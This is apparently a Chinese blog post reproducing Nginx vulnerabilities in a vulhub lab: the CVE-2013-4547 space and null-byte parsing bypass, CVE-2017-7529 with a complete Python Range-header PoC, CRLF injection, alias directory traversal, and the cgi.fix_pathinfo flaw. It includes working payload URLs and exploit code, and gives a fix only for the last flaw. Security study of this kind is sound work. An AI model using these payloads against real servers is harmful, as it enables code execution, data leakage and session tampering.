Nginx解析漏洞 (CVE-2013-4547)
- 影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
- 漏洞简析
pathinfo是默认关闭的,只有.php后缀的文件会被发送给fastcgi解析
CVE-2013-4547的原理是通过非法字符空格和截止符(\0)会导致Nginx解析URI时的有限状态机混乱,危害是允许攻击者通过一个非编码空格绕过后缀名限制。当我们请求1.gif[0x20][0x00].php时,Nginx认为1.gif[0x20]的后缀名是.php,便将1.gif[0x20]作为php解析,造成解析漏洞 - 漏洞复现
上传一张正常图片,访问图片链接得到的是正常图片
给正常图片后缀添加[0x20]上传,访问链接192.168.232.128:8080/uploadfiles/1.jpg发现404图片不存在,404是由Nginx给出的,访问192.168.232.128:8080/uploadfiles/1.jpg[0x20],弹出下载图片,图片没有解析
将2.jpg的内容写入phpinfo上传,同样后缀加上空格
然后访问2.jpg[0x20][0x00].php
用brup修改Hex,改成20和00,00表示00截断
发现已经解析成php
Linux中文件可以以空格结尾,在Windows中,文件名不能以空格结尾,所以Windows程序遇到文件名“test.jpg ”会自动去掉最后的空格,等同于访问“test.jpg”,基于这样的原因,这一漏洞在Windows中会很容易利用。
参考链接
https://blog.werner.wiki/file-resolution-vulnerability-nginx/
http://www.91ri.org/9064.html
https://vulhub.org/#/environments/nginx/CVE-2013-4547/
Nginx越界读取缓存漏洞(CVE-2017-7529)
- 影响版本:Nginx 0.5.6 - 1.13.2
- 漏洞简析
Nginx在反向代理站点的时候,通常会将一些文件进行缓存,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。如果二次请求命中了该缓存文件,则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。如果我的请求中包含Range头,Nginx将会根据我指定的start和end位置,返回指定长度的内容。而如果我构造了两个负的位置,如(-600, -9223372036854774591),将可能读取到负位置的数据。如果这次请求又命中了缓存文件,则可能就可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。
- 漏洞复现
可见,越界读取到了位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。
如果读取有误,请调整poc.py中的偏移地址(605)。
poc.py文件内容
#!/usr/bin/env python
import sys
import requests
if len(sys.argv) < 2:
print("%s url" % (sys.argv[0]))
print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
sys.exit()
headers = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
n, 0x8000000000000000 - n)
r = requests.get(url, headers=headers)
print(r.text)
参考文章
https://vulhub.org/#/environments/nginx/CVE-2017-7529/
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Range_requests
Nginx 配置错误导致漏洞
CRLF注入漏洞
- 漏洞简析
nginx中配置路径跳转使用了$uri或$document_uri,$uri 和 $document_uri表示的是解码以后的请求路径,导致传入%0a%0d即可引入换行符,造成CRLF注入漏洞 - 漏洞复现
访问http://your-ip:8080/%0a%0dSet-Cookie:%20a=1,用burp抓包发现Set-Cookie注入成功
目录穿越漏洞
- 漏洞简析
Nginx在配置别名(Alias)的时候,如果忘记加/,将造成一个目录穿越漏洞。
错误的配置文件示例(原本的目的是为了让用户访问到/home/目录下的文件):
location /files {
alias /home/;
}
当我们访问/files../时,nginx实际处理的路径时/home/../,从而实现了穿越目录。
- 漏洞复现
访问http://your-ip:port/files../
解析漏洞
- 漏洞简析
如果将nginx.conf配置成把.php后缀的文件交给fastcgi处理,当这个文件(.php)不存在并且php.ini配置文件中cgi.fix_pathinfo=1(如果当前路径不存在则采用上层路径),这是fastcgi处理.php上一级的文件
- 漏洞复现
访问含有phpinfo的图片http://192.168.232.128/uploadfiles/nginx.png,发现没有解析
在url中文件后加上/.php,如:http://192.168.232.128/uploadfiles/nginx.png/.php,发现已经解析成php文件
- 修复方式
cgi.fix_pathinfo的值设为0,php-fpm.conf中的security.limit_extensions的值设为.php
参考文章:https://www.cnblogs.com/yuzly/p/11208742.html
原文地址:https://www.cnblogs.com/g0udan/p/12399170.html
时间: 2024-11-02 15:55:03